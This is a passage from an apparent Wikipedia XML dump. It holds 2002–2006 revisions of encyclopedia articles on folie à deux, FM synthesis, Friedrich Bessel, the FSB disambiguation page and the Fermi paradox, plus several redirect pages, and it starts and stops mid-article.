may be sent to the Supreme Court. If the Supreme Court accepts the case, it will receive written [[briefs]] from each side (and any [[amici curiae]] or friends of the court--usually third parties with some expertise to bear on the subject) and schedule oral arguments. The [[justice]]s will closely question both parties. When the Court renders its decision, it will generally do so in a single [[opinion (legal)|opinion]] for the majority and one or more [[dissenting opinion]]s. Each opinion sets forth the facts, prior decisions, and legal reasoning behind the position taken. The majority opinion constitutes binding [[precedent]] on all lower courts; when faced with very similar facts, they are bound to apply the same reasoning or face reversal of their decision by a higher court.


See: [[United States district court]]</text>
    </revision>
  </page>
  <page>
    <title>Fossil Record</title>
    <id>11564</id>
    <revision>
      <id>15909305</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fossil record]]
</text>
    </revision>
  </page>
  <page>
    <title>Folie à deux</title>
    <id>11566</id>
    <revision>
      <id>34629255</id>
      <timestamp>2006-01-10T16:49:28Z</timestamp>
      <contributor>
        <ip>203.144.144.164</ip>
      </contributor>
      <text xml:space="preserve">'''Folie à deux''' (literally &quot;a madness shared by two&quot;) is a rare [[psychiatry|psychiatric]] syndrome in which a symptom of [[psychosis]] (particularly a [[paranoia|paranoid]] or [[delusion]]al belief) is transmitted from one individual to another. (Related to the issue of shared delusions, there have also been occasional claims of shared visual [[hallucination]]s that are near-to-exact duplicates.) The same syndrome shared by more than one person may be called '''folie à trois''', '''folie à quatre''', '''folie à famille''' or even '''folie à plusieurs''' (madness of many). Recent psychiatric classifications refer to the syndrome as '''induced delusional disorder''' ([[Diagnostic and Statistical Manual of Mental Disorders|DSM-IV]]) or '''shared psychotic disorder''' ([[International Statistical Classification of Diseases and Related Health Problems|ICD-10]]).

This case study is taken from Enoch and Ball's 'Uncommon Psychiatric Syndromes' (2001, p181):

:Margaret and her husband Michael, both aged 34 years, were discovered to be suffering from ''folie à deux'' when they were both found to be sharing similar persecutory delusions. They believed that certain persons were entering their house, spreading dust and fluff and &quot;wearing down their shoes&quot;. Both had, in addition, other symptoms supporting a diagnosis of [[paranoid]] [[psychosis]], which could be made independently in either case.

This syndrome is most commonly diagnosed when the two or more individuals concerned live in close proximity and may be socially or physically isolated and have little interaction with other people. 

Various sub-classification of ''folie à deux'' have been proposed to describe how the delusional belief comes to be held by more than one person.

* '''Folie imposée''' is where a dominant person (known as the 'primary', 'inducer' or 'principal') initially forms a delusional belief during a psychotic episode and imposes it on another person or persons (known as the 'secondary', 'acceptor' or 'associate') with the assumption that the secondary person might not have become deluded if left to their own devices. If the parties are admitted to hospital separately then the delusions in the person with the induced beliefs usually resolve without the need of medication.
* '''Folie simultanée''' describes the situation where two people, considered to independently suffer from psychosis, influence the content of each other's delusions so they become identical or strikingly similar.

Folie à deux and its more populous cousins are in many ways a psychiatric curiosity. The current [[Diagnostic and Statistical Manual of Mental Disorders]] states that a person cannot be diagnosed as being delusional if the belief in question is one &quot;ordinarily accepted by other members of the person's culture or subculture&quot; (see entry for [[delusion]]). It is not clear at what point a belief considered to be delusional escapes from the ''folie à...'' diagnostic category and becomes exempt because of the number of people holding it. While a large number of people may come to believe obviously false and potentially distressing things based purely on hearsay, these beliefs are not considered to be clinical delusions by the psychiatric profession and may be labelled as [[mass hysteria]].

Being defined as a rare pathological manifestation, ''folie à deux'' is rarely found in general psychology or social psychology text books, and is relatively unknown outside  [[abnormal psychology]], [[psychiatry]] and [[psychopathology]].

==See also==
* [[Delusion]]
* [[Delusional disorder]]
* [[Psychosis]]
* [[Stockholm Syndrome]]
* [[Our Lady of Fatima]]: The fate of the three children
* The [[The X-Files (season 5)#Folie .C3.A0 Deux|X-Files]], for an episode about the subject

==Further reading==
*Halgin, R. &amp; Whitbourne, S. (2002) ''Abnormal Psychology: Clinical Perspectives on Psychological Disorders''. McGraw-Hill. ISBN 0072817216
*Enoch, D. &amp; Ball, H. (2001) Folie à deux (et Folie à plusieurs). In Enoch, D. &amp; Ball, H. ''Uncommon psychiatric syndromes (Fourth edition)''. London: Arnold. ISBN 0340763884&lt;br&gt;
*[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12679591&amp;dopt=Abstract Wehmeier, P. M., Barth, N., &amp; Remschmidt, H. (2003)]. Induced Delusional Disorder. A Review of the Concept and an Unusual Case of folie a famille. ''Psychopathology'', 36(1), 37-45.&lt;br&gt;
*Podmore, Frank, London (ca 1920) ''Telepathic Hallucinations: A  New View of Ghosts''
*Hatfield, Elaine, Caccioppo, John T., &amp; Rapson, Richard L., (1994) ''Emotional Contagion (Studies in Emotional and Social Interaction)''

[[Category:Psychosis]]

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  <page>
    <title>Falsifiable</title>
    <id>11568</id>
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      <text xml:space="preserve">#REDIRECT [[Falsifiability]]
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  </page>
  <page>
    <title>Frequency modulation synthesis</title>
    <id>11569</id>
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      <id>38849523</id>
      <timestamp>2006-02-09T01:05:02Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] change &quot;a&quot; to &quot;an&quot;.</comment>
      <text xml:space="preserve">&lt;table align=&quot;right&quot; width=&quot;400&quot;&gt;&lt;tr&gt;&lt;td&gt;[[Image:frequencymodulationdemo-td.png]]&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table&gt;&lt;tr&gt;&lt;td width=&quot;15&quot;&gt;&lt;/td&gt;&lt;td&gt;&lt;small&gt;A 220 Hz carrier tone modulated by a 440 Hz modulating tone with various choices of [[modulation index]], &amp;#946;.  The time domain signals are illustrated above, and the corresponding spectra are shown below (spectrum amplitudes in [[decibel|dB]]).  An audio demonstration of the four synthesized tone timbres is available [[media:frequencymodulationdemo-cf220mf440.ogg|here]].&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Image:frequencymodulationdemo-fd.png]]&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
'''Frequency modulation synthesis''' (or '''FM synthesis''') is a form of [[synthesizer|audio synthesis]] where the [[timbre]] of a simple waveform is changed by [[frequency modulation|frequency modulating]] it with a modulating frequency that is also in the audio range, resulting in a more complex waveform and a different-sounding tone.

For synthesizing harmonic sounds, the modulating signal must have a [[harmonic]] relationship to the original carrier signal. As the amount of FM modulation increases, the sound grows progressively more complex.  Through the use of modulators with frequencies that are non-integer multiples of the carrier signal (i.e., non harmonic), bell-like dissonant and percussive sounds can easily be created.

The technique was discovered by John Chowning at [[Stanford University]] in 1967-68, was patented in [[1975]] and was later licensed to [[Yamaha Corporation|Yamaha]].

''It should be noted that the implementation commercialized by Yamaha   ([http://patft.uspto.gov/netacgi/nph-Parser?patentnumber=4018121 US Patent 4018121 Apr 1977]) is actually based on phase modulation.''

FM synthesis is very good at creating both harmonic and inharmonic ('clang', 'twang' or 'bong' noises) sounds.  Complex ''(and proper)'' FM synthesis using analog [[Oscillator|oscillators]] is not generally feasible due to their inherent pitch instability, but FM synthesis ''(using the frequency stable phase modulation variant)'' is easy to implement digitally.  As a result, FM synthesis was the basis of some of the early generations of [[digital synthesizer]]s from Yamaha, with Yamaha's flagship [[Yamaha DX7|DX7]] synthesizer being ubiquitous throughout the [[1980s]].  [[Casio]] developed a related form of synthesis called [[phase distortion synthesis]], used in its CZ series of synthesizers. It had a similar (but slightly differently derived) sound quality as the DX series.

With the expiration of the Stanford University FM patent in [[1995]], FM synthesis is now part of the synthesis repertoire of most modern synthesizers, usually in conjunction with [[additive synthesis|additive]], [[subtractive synthesis|subtractive]] and sometimes [[Sampler (musical instrument)|sampling]] techniques. 

The harmonic distribution of a simple sine wave signal modulated by another sine wave signal can be represented with [[Bessel function]]s - this provides a basis for a simple mathematical understanding of FM synthesis.

-----

[author note 9/9/05: the addition below is incomplete]

FM synthesis is a form of &quot;distortion synthesis&quot; or &quot;nonlinear synthesis&quot;. 
It begins with an oscillator generating an audio-frequency &quot;carrier&quot; waveform with a frequency of Fc. An audio-frequency modulating waveform, with a frequency Fm, is then applied to change or &quot;modulate&quot; the frequency of the carrier oscillator.

If the amplitude of the modulator is 0, the output frequency of the carrier oscillator is simply Fc. Otherwise, the amplitude of the modulating signal causes the frequency of the carrier oscillator to swing above and below Fc. This frequency swing is known as &quot;deviation&quot;.

In simple terms, the &quot;louder&quot; the modulating signal is, the more the carrier frequency changes. 
For illustration, suppose Fc is 1000 Hz.  Modulation amplitude might be applied that causes the carrier to swing between 900 Hz and 1100 Hz, that is, 100 Hz in either direction. This is termed a &quot;deviation&quot; of 100 Hz.

At the same time, the frequency of the modulating signal causes what are termed &quot;sideband&quot; frequencies to appear on either &quot;side&quot; of the carrier frequency. Therefore for each frequency component in the modulating signal, an &quot;upper&quot; sideband appears above Fc,  and a &quot;lower&quot; sideband appears below Fc. Clearly a modulating waveform containing many frequencies (e.g. &quot;partials&quot;) will create many FM sidebands.

Deviation (d)  is partly responsible for the power of each component of the output audio signal. When d=0, all the power is heard at the carrier frequency. The larger the deviation, the more power is shifted to the sidebands. 

The ratio of deviation to modulation frequency is called the &quot;index of modulation&quot;.   ( I = d / Fm )
This ratio controls the spectral richness of the sound.
By varying deviation through modulation amplitude, and varying the spectrum of the modulating waveform, the resulting audio can be evolved without further instrument complexity. This is the power of FM synthesis. Tremble, puny mortals.


==Reference==
J. Chowning, &quot;The Synthesis of Complex Audio Spectra by Means of Frequency Modulation,&quot; Journal of the Audio Engineering Society 21(7), 1973

Dodge, Charles and Jerse, Thomas A. (1997). &lt;i&gt;Computer Music: Synthesis, Composition and Performance.&lt;/i&gt; New York: Schirmer Books. ISBN 0-02-864682-7.

== See also: ==
* [[Frequency modulation]]
* [[Harmonic series (music)|Harmonic series]]
* [[Subtractive synthesis]]
* [[Additive synthesis]]
* [[Wavetable synthesis]]
* [[Digital waveguide synthesis]]
* [[Physical modelling synthesis]]
* [[Phase distortion synthesis]]

== External links ==
* [http://ccrma.stanford.edu/software/snd/snd/fm.html An Introduction To FM], by Bill Schottstaedt
* [http://www.sfu.ca/~truax/fmtut.html FM tutorial]
* [http://www.sospubs.co.uk/sos/apr00/articles/synthsecrets.htm Article: FM Synthesis]
* [http://www.soundonsound.com/sos/1997_articles/sep97/synthschool3.html Paul Wiffens Synth School: Part 3]

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[[Category:Audio engineering]]</text>
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  <page>
    <title>FM synthesis</title>
    <id>11570</id>
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  <page>
    <title>Font (disambiguation)</title>
    <id>11572</id>
    <revision>
      <id>35161662</id>
      <timestamp>2006-01-14T17:05:06Z</timestamp>
      <contributor>
        <username>Mitsukai</username>
        <id>242799</id>
      </contributor>
      <text xml:space="preserve">'''Font''' may mean:

* [[Typeface]], a coordinated set of designs for characters, or a computer file that stores these designs
* [[Baptismal font]], a container for holy water
* An older term for [[fountain]]
{{disambig}}

[[es:Fuente]]</text>
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  </page>
  <page>
    <title>Friedrich Bessel</title>
    <id>11574</id>
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      <id>41991770</id>
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      <contributor>
        <username>Kusma</username>
        <id>145855</id>
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      <comment>image from commons</comment>
      <text xml:space="preserve">[[Image:Friedrich Wilhelm Bessel.jpeg|thumb|Friedrich Wilhelm Bessel]]
'''Friedrich Wilhelm Bessel''' ([[July 22]], [[1784]] &amp;ndash; [[March 17]], [[1846]]) was a [[Germany|German]] [[mathematician]], [[astronomer]], and systematizer of the [[Bessel function]]s (which, despite their name, were discovered by [[Daniel Bernoulli]]). He was born in [[Minden]], [[Westphalia]] and died of [[cancer]] in Königsberg (now [[Kaliningrad]], [[Russia]]). Bessel was a contemporary of [[Carl Friedrich Gauss|Carl Gauss]], also a mathematician and astronomer.

Bessel was the son of a civil servant, and at the age of 14 he was apprenticed to the import-export concern [[Kulenkamp]]. He shortly became an accountant for them, and the business' reliance on cargo ships led him to turn his mathematical skills to problems in navigation. This in turn led to an interest in astronomy as a way of determining [[longitude]].

He came to the attention of a major figure of German astronomy at the time, [[Heinrich Wilhelm Olbers]], by producing a refinement on the orbital calculations for [[Halley's Comet]]. Within two years he had left Kulenkamp and become an assistant at [[Lilienthal, Lower Saxony|Lilienthal]] Observatory near [[Bremen (city)|Bremen, Germany]]. There he worked on [[James Bradley]]'s stellar observations to produce precise positions for some 3222 stars.

This work attracted considerable attention, and at the age of 26 he was appointed director of the [[Koenigsberg Observatory|Königsberg Observatory]] by [[Frederick William III of Prussia]]. There he published tables of [[atmospheric refraction]] based on Bradley's observations, which won him the [[Lalande Prize]] from the [[Institut de France]]. On this base, he was able to pin down the position of over 50,000 stars during his time at Königsberg.

With this work under his belt, Bessel was able to achieve the feat for which he is best remembered today: he is credited with being the first to use [[parallax]] in [[calculation|calculating]] the [[distance]] to a [[star]].  Astronomers had believed for some time that parallax would provide the first accurate measurement of interstellar distances -- in fact, the 1830s housed a fierce competition between astronomers to be the first to accurately measure a stellar parallax. In [[1838]] Bessel won the &quot;race&quot;, announcing that [[61 Cygni]] had a parallax of 0.314 [[arcsecond]]s; which, given the diameter of the [[Earth]]'s orbit, indicated that the star was ~3 [[parsec]]s away. [[Hipparcos]] experiment has now calculated the parallax at 0.28547 [[arcsecond]]s. He narrowly beat [[Friedrich Georg Wilhelm Struve]] and [[Thomas Henderson]], who measured the parallaxes of [[Vega]] and [[Alpha Centauri]] in the same year.

As well as helping determine the parallax of 61 Cygni, Bessel's precise measurements allowed him to notice deviations in the motions of [[Sirius]] and [[Procyon]], which he deduced must be caused by the gravitational attraction of unseen companions. His announcement of Sirius' &quot;dark companion&quot; in [[1841]] was the first correct claim of a previously unobserved companion by positional measurement, and eventually led to the discovery of [[Sirius B]].

Despite lacking a university education, Bessel was a major figure in astronomy during his lifetime. He was elected a fellow of the [[Royal Society]], and the largest [[Impact crater|crater]] in the moon's [[Mare Serenitatis]] was named after him.

He won the [[Gold Medal of the Royal Astronomical Society]] in [[1841]]. The asteroid [[1552 Bessel]] was named in his honour.

==External links==
* http://www-groups.dcs.st-andrews.ac.uk/~history/Mathematicians/Bessel.html
[[Category:1784 births|Bessel, Friedrich Wilhelm]]
[[Category:1846 deaths|Bessel, Friedrich Wilhelm]]
[[Category:German astronomers|Bessel, Friedrich Wilhelm]]
[[Category:German mathematicians|Bessel, Friedrich Wilhelm]]
[[Category:19th century mathematicians|Bessel, Friedrich Wilhelm]]

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[[ru:Бессель, Фридрих Вильгельм]]
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[[zh:弗里德里希·威廉·贝塞尔]]</text>
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  <page>
    <title>Federalnaya Sluzhba Bezopasnosti</title>
    <id>11576</id>
    <revision>
      <id>15909315</id>
      <timestamp>2005-03-10T01:24:09Z</timestamp>
      <contributor>
        <username>Curps</username>
        <id>44727</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[FSB (Russia)]]</text>
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  </page>
  <page>
    <title>FSB</title>
    <id>11577</id>
    <revision>
      <id>41461212</id>
      <timestamp>2006-02-27T14:21:21Z</timestamp>
      <contributor>
        <username>Trombotik</username>
        <id>373036</id>
      </contributor>
      <text xml:space="preserve">'''FSB''' may stand for one of the following.

* '''Federalnaya Sluzhba Bezopasnosti''', [[Federal Security Service of the Russian Federation]] 
*[[Trade Union Social Citizens List|Faglig Social Borgerliste]]
*[[Federal Savings Bank]] in the [[United States]]
*[[Fire support base]] or [[Firebase]] (Military encampment)
*[[Front side bus]]  (Computer data bus type) 
*[[FSB (band)|FSB]], a Bulgarian band
*[[Fairfield Symphonic Band|Fairfield Symphonic Band]], Singapore
*[[FSB Trombone Section|FSB Trombone Section]] Fairfield Symphonic Band, Singapore
*[[Federation of Small Businesses|Federation of Small Businesses]], UK
*[[Financial Services Board]]

{{TLAdisambig}}

[[da:FSB]]
[[de:FSB]]
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[[ja:FSB]]
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[[sv:FSB]]</text>
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  <page>
    <title>Facism</title>
    <id>11578</id>
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        <username>Lucashazel</username>
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      <text xml:space="preserve">#REDIRECT [[Fascism]]</text>
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  <page>
    <title>Fermi paradox</title>
    <id>11579</id>
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      <id>42080930</id>
      <timestamp>2006-03-03T18:18:22Z</timestamp>
      <contributor>
        <ip>80.102.119.18</ip>
      </contributor>
      <comment>+iw.ca</comment>
      <text xml:space="preserve">[[Image:Arecibo message.png|frame|right|A graphical representation of the [[Arecibo message]], Humanity's first attempt to communicate its existence to alien civilizations]]

The '''Fermi Paradox''' is a [[physical paradox]] that was brought to light by a simple question posed by the [[physicist]] [[Enrico Fermi]] when speculating about the existence of [[technology|technologically]] advanced [[civilization]]s within the observable universe, and exactly how common they would be.

The age of the universe and the vast number of stars in our galaxy alone suggest that extraterrestrial life should not be rare &amp;mdash; a notion later supported by many estimates based on the [[Drake equation]]. However, Fermi is said (perhaps apocryphally) to have asked, &quot;Where are they?&quot; If there is a multitude of advanced extraterrestrial civilizations in our [[galaxy]] (the [[Milky Way]]) then why have we not seen any evidence, such as [[Von Neumann probe|probes]], [[spacecraft]] or [[Radio|radio transmissions]]? The paradox can be stated as follows:

&lt;blockquote&gt;
''The belief that the universe contains many technologically advanced civilizations, combined with our lack of observational evidence to support that view, is inconsistent. Either this assumption is incorrect (and technologically advanced intelligent life is much rarer than we believe), our current observations are incomplete (and we simply have not detected them yet), or our search methodologies are flawed (we are not searching for the correct indicators).''
&lt;/blockquote&gt;

Those who believe that the lack of such overt evidence is a conclusive argument for the ''non''-existence of technologically advanced extraterrestrial civilization within communication distance of earth refer to this lack of evidence as the '''Fermi principle'''.

There have been attempts to resolve the Fermi Paradox by locating evidence of technologically advanced civilizations, or to respond to it by explaining how extraterrestrial civilizations could exist and yet remain undetected by us.

== Theorizing about extraterrestrial life: The basis of the paradox ==

A great deal of effort has gone into developing scientific theories and possible models of extraterrestrial life. Since we have very little ''empirical'' evidence &amp;mdash; and that which we do have is not yet exhaustive or comprehensive &amp;mdash; we are in a position much like ancient Greek philosophers trying to form a [[cosmology]] [[a priori]] without direct physical evidence. Still, given what we know about [[physical cosmology]], [[astronomy]], [[biology]] and [[ecology]] we attempt to come to as reasonable a view as we can.

The questions around the idea of extraterrestrial life break down into several parts: ''does'' intelligent extraterrestrial life exist; and if it exists how common is it, how may we find it, and how may we communicate with it?

The various answers to these questions are the basis out of which the Fermi paradox arose.

=== Does it exist? ===

==== Pro: The argument by scale ====

Some speculate that if life is possible at all in the universe &amp;mdash; and we are an example of it &amp;mdash; then given the vast scale of the universe, and the age of the universe, it should not only be possible, but ''almost certain'' that there are large numbers of extraterrestrial civilizations ''somewhere'' in the Universe. This view is based on the [[mediocrity principle]], which states that Earth is not special, merely a typical planet, one of trillions of worlds which are all subject to the same laws, effects, and chances. Even if intelligent life occurs once for every few ''billion'' of these &quot;ordinary&quot; planets and takes ''billions'' of years, they argue, there are potentially ''trillions'' of planets (or more) and the universe is billions of years old as well. The vast universal scales of time and space make even ''infinitesimal'' probabilities of any one planet producing intelligent life an almost certainty when large numbers of planets are considered together.

This is the argument and assumption that lay at the root of Fermi's question, and the classic response of &quot;Where are they then?&quot; the spark that has fueled the debate. Given the lack of evidence to the contrary, we cannot yet know for certain that we are not alone &amp;mdash; at least in our part of the [[Milky Way]] galaxy.

It cannot be denied that intelligent life is ''possible'' within our universe &amp;mdash; at least at this stage of its development &amp;mdash; since ''we'' exist.

==== Con: The 'Rare Earth' hypothesis ====
The [[rare Earth hypothesis]] is a repudiation of [[mediocrity principle]], and claims that Earth is an unusual world &amp;mdash; maybe even unique &amp;mdash; within the universe. While some believe that this is true for philosophical or religious reasons, most arguments based on the rare earth hypothesis are based on a [[statistical]] evaluation of Earth's position in our [[solar system]] and in our [[Milky Way|galaxy]].

Most proponents of the rare Earth hypothesis, argue that multicellular life may be exceedingly rare in the universe because Earth-like planets are most likely very rare. They argue that many improbable coincidences converged to make complex life on Earth possible, such as,
* The solar system orbits the galactic center ''between'' the spiral arms, in an almost perfectly circular orbit, at an orbital velocity which matches the speed of the shock front formed in the intergalactic medium by the movements of the spiral arms. This orbit &amp;mdash; which has lasted for the last 30 galactic orbits, almost the entire time that &quot;higher life forms&quot; have existed on Earth &amp;mdash; shields the solar system from the high levels of radiation (which is thought to interfere with the development of life) within the spiral arms themselves, caused by numerous [[nova]]e.
* The unlikely possession of such a relatively large [[Moon]] has stabilized the [[Precession#Precession_of_the_equinoxes|precession of the Earth's axis]] to a large degree &amp;mdash; resulting in a relative uniformity of climate, which makes the development of &quot;higher life forms&quot; easier.  The [[Moon]] has also likely protected Earth from numerous asteroidal collisions.
* The unlikely possession of such a relatively large [[Moon]], and the internal tidal stresses it creates within the Earth, may have caused heating of the core, strengthening and prolonging the life of the &quot;dynamos&quot; that generate Earth's [[magnetosphere|magnetic field]]. The possession of a strong magnetic field has helped prevent atmospheric damage from [[solar wind]] and shielded life on Earth from [[gene]]-damaging high-energy solar radiation.
* The placement of [[Jupiter]] in our solar system acts as a gravitational &quot;broom&quot;, sweeping up debris in the inner solar system, and reducing the frequency of [[impact event]]s on the Earth. Such an advantageous placement of a &quot;protector planet&quot; is probably uncommon.
Critics of the ''Rare Earth hypothesis'' admit that the probability of the ''specific'' conditions on Earth being widely replicated is low. However they point out that complex life may not require exclusively Earth-like conditions in order to evolve (see ''[[Evolving the Alien: The Science of Extraterrestrial Life]]'' and [[Alternative biochemistry]]). There may be other, more probable and wide-spread, conditions which will allow the development of other types of intelligent life.

==== Pro: The anthropic principle ====

Various formulations of the [[anthropic principle]] have been applied to speculation about the probability of the existence of alien civilizations.

The Anthropic Principle notes that the universe seems uniquely suited to the development of human intelligence, i.e. that any variation in any one of a myriad of universal constants would make the development of intelligent life more difficult. Thus, human intelligence has a &quot;privileged&quot; position in the universe.

Various formulations of the principle disagree on whether this principle is descriptive (if a condition must exist in the universe for human life to arise, then the universe ''must'' already meet that condition, as we are here), or [[teleological]] (the universe ''has'' to be this way, or it was ''designed'' to be this way, for the express ''purpose'' of creating human intelligence).

Ironically, the Anthropic Principle can be &amp;mdash; and has been &amp;mdash; used by both opponents and proponents of the idea of the existence of extraterrestrial intelligent life.

Opponents of the idea point out that the universe seems ideally suited for ''human'' life. Other, alien, forms of life would not have the same unique advantages as humans, and therefore the probability that they exist is low. The conditions required for ''human'' life are rare (see the [[#Con: The 'Rare Earth' hypothesis|Rare Earth hypothesis]]), and the likelihood of ''other'' forms of life are low.

Proponents of the idea state that the universe is ideally suited for ''intelligent'', not just ''human'' life, and as such, we can expect to see many forms of intelligent life in the universe.

There are those on both sides of the debate that deny that the Anthropic Principle is a meaningful argument at all.

==== Con: The lack of extraterrestrial colonization evidence ====
Adherents to the Fermi principle argue that from what we know about life's ability to overcome scarcity and colonize new habitats on our own planet, we can reasonably assume that life elsewhere will follow similar principles. Thus, they reason that any advanced civilization will almost certainly try to seek out new resources and colonize first their solar system, and then surrounding solar systems. Several writers have tried to estimate how fast an alien civilization might spread through the galaxy. There have been estimates of anywhere from 5 million to 50 million years to colonize the ''entire'' galaxy; a relatively small amount of time on a [[geological time|geological scale]], let alone a [[Timeline of the Big Bang|cosmological one]]. The very fact that we see no evidence on Earth, or anywhere else in the solar system of attempted alien colonization is presented as an argument for the rarity of intelligent life in our galaxy.

Even if ''colonization'' is impractical or undesirable to an alien civilization, large scale exploration of the galaxy is still possible with minor investment in energy and resources. An alien civilization might dispatch a small fleet of self-replicating [[Von Neumann probe]]s to explore the galaxy (or a malevolent civilization might dispatch a fleet of Berserker probes, after [[Fred Saberhagen]]'s ''[[Berserker (Saberhagen)|Berserker]]'' novels). Given the age of the universe, if intelligent life is common, it seems likely that there would be at least ''one'' civilization which would have dispatched such a machine. Given that it is estimated that such machines could spread through the ''entire'' galaxy in as little as half a million years, it seems likely that we should have been visited by such a craft in the past, or see evidence of them today.

Proponents of the existence of extraterrestrial life counter that it is quite possible that we ''have'' been visited by such a machine, or there ''is'' evidence out there that such machines exist; we simply have not seen it yet. [[Arthur C. Clarke]]'s story [[The Sentinel (short story)|&quot;The Sentinel&quot;]] and [[David Brin]]'s story &quot;[http://www.davidbrin.com/lungfish1.html Lungfish]&quot; explore such possible scenarios. Another possibility is that we have only recently become detectable to a [[Bracewell probe]] (through our radio transmissions), should any have been launched by an alien civilization, and perhaps too little time has elapsed since then for contact to have been established.

=== How common is it?: the Drake equation ===

In an attempt to find a ''systematic'' means to estimate the number of extraterrestrial civilizations that we might reasonably come in contact with, Dr. [[Frank Drake]] formulated The [[Drake equation]]. While it was formulated ''after'' the objections raised by [[Enrico Fermi]], Drake's equation has become a common and respected means of estimating the frequency of occurrence of interstellar civilizations.

The values assigned to the various &quot;factors&quot; of the equation are only estimates or educated guesses, however the range of &quot;reasonable&quot; estimates seems to imply that contact with extraterrestrial life might not be impossible. Several scientists have published different estimated values for the Drake equation's factors, with quite varied results. The estimates published by Dr. [[Carl Sagan]], for example, imply that intelligent life should be common in the Universe, and thus easy to detect. Other sets of estimates have placed the probability of the existence of other civilizations in our galaxy close to zero.

Critics of the Drake equation claim that since we cannot yet determine the variables of the equation with any real confidence, we cannot determine the number of extraterrestrial civilizations based on it. Instead, we must rely on empirical data, which we are only now beginning to collect and analyze in a significant manner; only with further observation can we hope to derive ''meaningful'' values for the Drake equation factors.

== Trying to resolve the paradox empirically: What we look for, and how we look ==

One obvious way to resolve the Fermi paradox would be to find conclusive evidence of extraterrestrial intelligence. Various efforts to find such evidence have been made since 1960, and several are ongoing. There has also been a lot of conjecture and theorizing about the best ways to conduct such searches.

=== The limits of searching ===

It must be remembered that as we do not have interstellar travel capability, such searches are being carried out at ''great distances'' and rely on careful analysis of very subtle evidence. We are therefore limited to detecting civilizations which alter their environment in a detectable way, or produce effects that are detectable at a distance &amp;mdash; such as radio emissions. Non-technological civilizations are very unlikely to be detectable by us in the near future.

=== The dangers of anthropomorphism ===

One of the difficulties with the search for extraterrestrial intelligence is avoiding an overly [[Anthropomorphism|anthropomorphic]] viewpoint. Our first inclination as humans is to look for evidence of the type of activities that ''humans'' have performed, or likely would perform if we had more advanced technology. In fact, we cannot know with certainty how intelligent aliens might think or behave. Thus aliens may be broadcasting evidence of their existence that we are not looking for, or they may '''not''' do things that we would expect any technological civilization to do and thus not broadcast the types of evidence we expect. We can speculate on possible differences between ourselves and alien species, and try to take these into consideration, but all such efforts may be flawed.

=== What we might look for ===

==== Radio emissions ====
[[Image:Arecibo.arp.750pix.jpg|250px|thumb|The [[Arecibo Observatory]]: a [[radio telescope]] which has played a key a role in attempts to resolve the Fermi paradox]]

Since the development of radio technology, we have been broadcasting signals into space, both accidentally and deliberately. To a nearby observer &amp;mdash; or one with sufficiently sensitive equipment &amp;mdash; our solar system would appear to have unusually intense [[radio]] wave emissions for an otherwise unremarkable [[main sequence]] star. The increased intensity is caused by [[broadcasting|broadcasters]] using this part of the [[electromagnetic spectrum]] for television and other telecommunication. Our solar system would appear unusual to an alien civilization &amp;mdash; a star system emitting anomalous radio energy with no apparent natural cause &amp;mdash; and would likely draw the attention of any alien civilization that detected it.

Keeping in mind the warning above about anthropomorphism, it would seem that radio technology is a simple and natural technology for any technological species to develop. Because it creates effects that can theoretically be detected over interstellar distances, a search for alien radio emissions &amp;mdash; whether the &quot;accidental&quot; byproducts of a radio capable civilization, or deliberate radio broadcasts (like [[Communication with Extraterrestrial Intelligence|CETI's]] [[Arecibo message]]) &amp;mdash; may yield evidence of extraterrestrial civilizations. Careful analysis of radio emissions from space, searching for signals that cannot be attributed to natural processes, may lead to detection of such alien civilizations.

Such a search is not as easy as might be thought. It is a popular notion that broadband, omnidirectional transmissions such as radio and television shows could be detected over a distance of light years. However, it has been estimated [http://setifaq.org/faq.html#1.2.3] that with a radio telescope as sensitive as the [[Arecibo Observatory]], Earth's television and radio broadcasts would only be detectable at distances up to 0.3 [[light year]]s (the closest star to our sun is [[Proxima Centauri]] at 4.3 light years). 

The detectability of signals is vastly improved if the signal energy is focused in either a narrow range of frequencies ([[Narrowband]] transmissions), and/or concentrated directionally at a specific part of the sky. Such signals ''can'' be detected at ranges of hundreds to tens of thousands of light-years distance [http://setifaq.org/faq.html#1.6]. This increase in range is offset by a requirement for more finely tuned receivers (listening to the ''specific'' bandwidth the signal is in), and/or the receiver existing in the direction that a more narrowly focused beam is sent.

If we expect to detect alien civilizations through their radio emissions, we either need to create much more sensitive instruments, hope that the broadband radio emissions of alien radio technology are much stronger than our own, hope that one of our SETI programs are listening to the correct frequencies from the right regions of space, or hope that aliens are sending focused transmissions such as the Arecibo message in our general direction.

==== Direct planetary observation ====
[[Image:Earthlights dmsp.jpg|333px|thumb|right|A composite picture of Earth at night. Human civilization is detectable from space.]]
Relatively recent developments in astronomical instruments, and methods of analyzing astronomical data, have led to the detection of [[Extrasolar planet|planets outside our solar system]]. While this is a new field in astronomy, it is hoped that we may eventually be able to find planets which are likely to be able to support some form of life, or perhaps even find direct observational evidence for the existence of life such as the [[absorption spectrum]] of [[chlorophyll]] in light filtered through a planet's atmosphere. Such location of potential or actual &quot;life bearing&quot; planets would help narrow the search for ''intelligent'' life, and perhaps even find direct observational evidence of an alien technological civilization (see right).
&lt;br style=&quot;clear: both;&quot;/&gt;

==== Alien constructs ====

===== Probes, colonies, and other artifacts =====

As already noted, if we assume that technologically advanced extraterrestrial life exists (or has existed) in our galaxy, then given the age of the universe, and the relative rapidity at which dispersion of intelligent life can occur &amp;mdash; even at sub-light speeds &amp;mdash; it may be that some day we will find evidence of alien colonization attempts. While it is clear that there are no ''obvious'' alien colonies nearby, perhaps we should try to find evidence of such colonization behavior, both within our solar system and abroad.

